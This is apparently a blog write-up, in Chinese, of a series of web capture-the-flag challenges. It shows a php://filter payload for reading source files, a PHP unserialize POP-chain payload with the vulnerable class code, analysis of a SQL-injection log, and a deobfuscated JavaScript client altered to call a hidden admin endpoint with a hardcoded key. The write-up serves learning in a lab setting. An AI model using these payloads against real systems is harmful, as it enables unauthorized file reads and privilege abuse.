本文从旧博客迁移而来。
文章中所有图片均引自原路径（GitHub 仓库），因此可能出现加载速度较慢的问题。
以下为原文内容。
随手记录一下（
ToC
5呢
简单的正则
通过构造符合题意的正则表达式即可得到 flag。
http://10.60.38.227:34003/?s=the%20flag12/d/31
你会那样读文件吗
进入后链接提示我们跳转到 hint.php，之后在源码中找到提示：
然后通过 php 伪协议获得 flag.php 的 base64，再通过解码就能拿到 flag了：
php://filter/read=convert.base64-encode/resource=flag.php
快速计算
标题虽然说是 Python 计算，但其实并用不到 Python（
通过观察我们知道我们需要计算的内容是第二个 div 里的算式去掉 =? 的部分，于是简单写一个油猴脚本：
// ==UserScript==
// @name New Userscript
// @namespace http://tampermonkey.net/
// @version 0.1
// @description try to take over the world!
// @author You
// @match http://10.60.38.227:34005/
// @grant none
// ==/UserScript==
(function () {
const t = document.querySelectorAll("div")[1].textContent;
const ev = t.substr(0, t.length - 2);
const result = eval(ev);
document.querySelector("input[type=text]").value = result;
document.querySelector("input[type=Submit]").click();
})();
加载后刷新页面即可：
哪个才是 flag
找不同，在源码中找到真正的 flag：
Serialize & Unserialize
首先先根据题目要求构造字符串：
<?php
$KEY="Spirit";
echo serialize($KEY);
得到第一步答案：s:6:"Spirit";，根据提示跳转到 info.php：
<?php
@error_reporting(0);
class Start
{
public $a;
public $b;
public function __destruct()
{
$this->a->test1();
}
}
class Func1
{
public $a;
public $b;
public function __call($test, $arr)
{
$this->b="字符串".$this->a;
}
}
class Func2
{
public $a;
public $b;
public function __toString()
{
$s=$this->a;
$s();
return "1";
}
}
class Func3
{
public $a;
public $b;
public function __invoke()
{
$this->a->get_flag();
}
}
class Flag
{
public function get_flag()
{
echo "flag{****************}";
}
}
$a=isset($_GET['go'])?$_GET['go']:"";
$b=@unserialize($a);
if ($a&&!$b) {
echo "unserilize('".$a ."') 失败";
}
根据观察，可以发现类从上到下类似链式调用，于是补充代码如下：
得到输出结果：
O:5:"Start":2:{s:1:"a";O:5:"Func1":2:{s:1:"a";O:5:"Func2":2:{s:1:"a";O:5:"Func3":2:{s:1:"a";O:4:"Flag":0:{}s:1:"b";N;}s:1:"b";N;}s:1:"b";N;}s:1:"b";N;}flag{**}
log
首先观察 access.log 文件本身，我们可以发现其中充斥这很多 URI 编码后的字符串。我们先将其过一遍 decodeURIComponent，再去除一些无用的内容，诸如 UserAgent。
再观察，可以发现这是一次 SQL 注入的攻击日志，攻击者通过各位比较确认了 flag。于是我们可以利用攻击者确认 flag 的日志获得 flag。搜索 !=：
可以看到，这些数字已经是我们想要的 f，l，a了。最后将其拼接起来即可：
可靠的WebApp
通过观察可以发现核心在于 main.min.js：
打开文件，发现文件经过了混淆。我们使用 JSNice 简单对内容进行反混淆：
再对所有用到 _0x76ef 的项进行整理，最后得到相对反混淆后的结果。在这个过程中，我们观察到这个对象：
this.APIModels = {
authorize: {
model: "authorize",
},
userInfo: {
model: "userInfo",
},
buyFlag: {
model: "buyFlag",
},
adminAddCoin: {
model: "adminAddCoin",
key: "Admin123321.",
count: 0,
},
};
通过这个对象，我们构建出增加余额的函数（上文对象中 count 需要改大）：
this.adminAddCoin = function () {
this.call(
"adminAddCoin",
this.APIModels.adminAddCoin,
function (canCreateDiscussions) {
console.log(canCreateDiscussions);
}
);
};
最后，用我们修改完的 main 函数在 Console 中替换原有的 console 即可：
最后修改后的 main.min.js 如下：
"use strict";
function main(key) {
function GUIPARAMS() {
let _this = this;
this.token = null;
this.onerror = function () {
alert("Error on request.");
};
this.toCharArr = function (str) {
str = str.split("");
let arr = new Uint8Array(str.length);
str.forEach(function (canCreateDiscussions, wikiId) {
arr[wikiId] = canCreateDiscussions.charCodeAt(0);
});
return arr;
};
this.fromCharArr = function (canCreateDiscussions) {
let plan_count = "";
canCreateDiscussions.forEach(function (year_data) {
plan_count = plan_count + String.fromCharCode(year_data);
});
return plan_count;
};
this.pkcs7Pad = function (msg) {
let val = 16 - (msg.length % 16);
let log = new Uint8Array(msg.length + val);
log.set(msg, 0);
log.fill(val, msg.length, msg.length + val);
return log;
};
this.pkcs7UnPad = function (range) {
let start = range[range.length - 1];
if (start > 16) {
return null;
}
return range.subarray(0, range.length - start);
};
this.ui8concat = function (sumX, data) {
let command_codes = new Uint8Array(sumX.length + data.length);
command_codes.set(sumX, 0);
command_codes.set(data, sumX.length);
return command_codes;
};
this.APIModels = {
authorize: {
model: "authorize",
},
userInfo: {
model: "userInfo",
},
buyFlag: {
model: "buyFlag",
},
adminAddCoin: {
model: "adminAddCoin",
key: "Admin123321.",
count: 114514,
},
};
this.call = function (path, model, savetoBd) {
this.iv = this.toCharArr(
CryptoJS.MD5(Math.random().toString(36).substr(2))
.toString()
.substr(0, 16)
);
let _0xe48ex10 = new aesjs.ModeOfOperation.cbc(this.key, this.iv);
let value = this.ui8concat(
this.iv,
_0xe48ex10.encrypt(this.pkcs7Pad(this.toCharArr(JSON.stringify(model))))
);
let param = new XMLHttpRequest();
param.timeout = 3000;
param.open("POST", "/api/" + path, true);
param.setRequestHeader("Content-type", "application/octet-stream");
if (this.token) {
param.setRequestHeader("X-Token", this.token);
param.setRequestHeader(
"X-Message-Code",
CryptoJS.HmacSHA1(this.token, JSON.stringify(model))
);
}
param.onload = function (canCreateDiscussions) {
if (this.status === 200) {
let data = JSON.parse(this.responseText);
if (data.status === 0) {
let rua = new aesjs.ModeOfOperation.cbc(_this.key, _this.iv);
data.payload = JSON.parse(
_this.fromCharArr(
_this.pkcs7UnPad(
rua.decrypt(_this.toCharArr(window.atob(data.payload)))
)
)
);
savetoBd(data);
return;
}
}
_this.onerror();
};
param.ontimeout = this.onerror;
param.onerror = this.onerror;
param.send(value);
};
this.getUserInfo = function () {
this.call(
"userInfo",
this.APIModels.userInfo,
function (canCreateDiscussions) {
console.log(canCreateDiscussions);
document.getElementById("output").innerText =
"You have " +
canCreateDiscussions.payload.coin +
" coins in your account.";
}
);
};
this.buyFlag = function () {
this.call(
"buyFlag",
this.APIModels.buyFlag,
function (canCreateDiscussions) {
console.log(canCreateDiscussions);
let output = document.getElementById("output");
if (canCreateDiscussions.payload.success) {
output.innerText = canCreateDiscussions.payload.flag;
} else {
output.innerText = canCreateDiscussions.payload.reason;
}
}
);
};
this.authorize = function () {
if (key) {
this.key = this.toCharArr(key);
} else {
return;
}
this.call(
"authorize",
this.APIModels.authorize,
function (canCreateDiscussions) {
console.log(canCreateDiscussions);
_this.token = canCreateDiscussions.payload.token;
let packByNumType = document.getElementById("buttons");
packByNumType.innerHTML = "";
let data = document.createElement("button");
data.innerHTML = "User Info";
data.addEventListener("click", function () {
_this.getUserInfo();
});
packByNumType.append(data);
let pivot = document.createElement("button");
pivot.innerHTML = "Buy Flag";
pivot.addEventListener("click", function () {
_this.buyFlag();
});
packByNumType.append(pivot);
}
);
};
this.adminAddCoin = function () {
this.call(
"adminAddCoin",
this.APIModels.adminAddCoin,
function (canCreateDiscussions) {
console.log(canCreateDiscussions);
}
);
};
}
let instance = new GUIPARAMS();
instance.authorize();
window.instance = instance;
}